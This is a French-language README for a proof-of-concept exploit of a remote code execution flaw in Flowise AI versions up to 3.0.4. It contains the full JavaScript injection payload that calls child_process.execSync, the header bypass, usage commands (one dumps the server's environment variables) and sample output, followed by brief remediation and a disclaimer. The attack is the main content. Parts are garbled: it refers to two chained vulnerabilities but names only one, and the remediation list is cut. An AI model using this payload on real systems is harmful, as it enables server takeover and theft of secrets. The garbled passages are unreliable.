Exploit d'exécution de code à distance (RCE) authentifié pour Flowise AI versions ≤ 3.0.4. Tire parti d'une vulnérabilité dans le point de terminaison /api/v1/node-load-method/customMCP pour exécuter des commandes système arbitraires via Node.js child_process.execSync(). Comprend un script PoC complet et des étapes de remédiation.
ID CVE : CVE-2025-59528
Logiciel concerné : Flowise AI
Versions vulnérables : <= 3.0.4
Version corrigée : 3.0.5 et ultérieures
Sévérité : Critique
Auteur : r3nsi15
Date : 2025
Les versions de Flowise AI jusqu'à la version 3.0.4 incluse permettent à un utilisateur authentifié d'atteindre une exécution de code à distance (RCE) sur le serveur hôte en envoyant une charge utile JavaScript conçue sur mesure au point d'accès /api/v1/node-load-method/customMCP.
La méthode de chargement du nœud customMCP accepte une entrée contrôlée par l'utilisateur qui est évaluée côté serveur en tant que JavaScript, sans assainissement ni isolation adéquats. En injectant une charge utile qui exploite child_process.execSync de Node.js, un attaquant peut exécuter des commandes système arbitraires avec les privilèges du processus serveur Flowise.
Le point d'accès exige également que l'en-tête x-request-from: internal soit présent.
| Point d'accès | Méthode | Authentification requise | Objectif |
|---|---|---|---|
/api/v1/auth/login | POST | Non | Authentifier et obtenir une session |
/api/v1/node-load-method/customMCP | POST | Oui (cookie de session) | Point d'accès vulnérable de la méthode de chargement de nœud |
Fichier : CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Drapeau | Forme longue | Requis | Description |
|---|---|---|---|
-e | --email | Oui | Adresse e-mail de l'utilisateur authentifié |
-i | --url | Oui | URL de base de l'instance Flowise |
-p | --password | Oui | Mot de passe de l'utilisateur authentifié |
-c | --cmd | Oui | Commande système à exécuter sur le serveur |
Vérifier l'exécution de code :
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Récupérer les variables d'environnement du serveur :
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Connecté
[+] Exploit envoyé
[+] Statut : 200
L'exploit injecte l'expression JavaScript suivante dans le champ mcpServerConfig :
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — charge le module d'exécution de processus intégré de Node.js.execSync('<command>') — exécute de manière synchrone la commande système fournie par l'attaquant.x-request-from: internal est également ajouté à la demande pour passer une vérification d'origine interne qui bloquerait autrement l'appel.Le point d'accès customMCP transmet directement l'entrée fournie par l'utilisateur dans un contexte d'évaluation JavaScript sur le serveur, sans assainissement ni isolation. Combiné avec un accès illimité aux modules de base de Node.js (notamment child_process) via process.mainModule.require, cela crée un vecteur RCE trivialement exploitable. La vérification de l'en-tête x-request-from ne fournit aucune barrière de sécurité significative car elle n'est pas validée par rapport à une source de confiance.
Ces deux vulnérabilités peuvent être chaînées pour une voie d'attaque RCE non authentifiée contre les instances Flowise exécutant les versions <= 3.0.4 :
child_process, fs, etc.) via un bac à sable approprié (par exemple, vm2, contextes isolés, ou suppression de l'accès à process.mainModule).x-request-from via un mécanisme côté serveur plutôt qu'une simple vérification de chaîne.Cette preuve de concept est fournie uniquement à des fins éducatives et de recherche en sécurité autorisée. L'utilisation de ce script contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. L'auteur et les contributeurs déclinent toute responsabilité en cas d'utilisation abusive.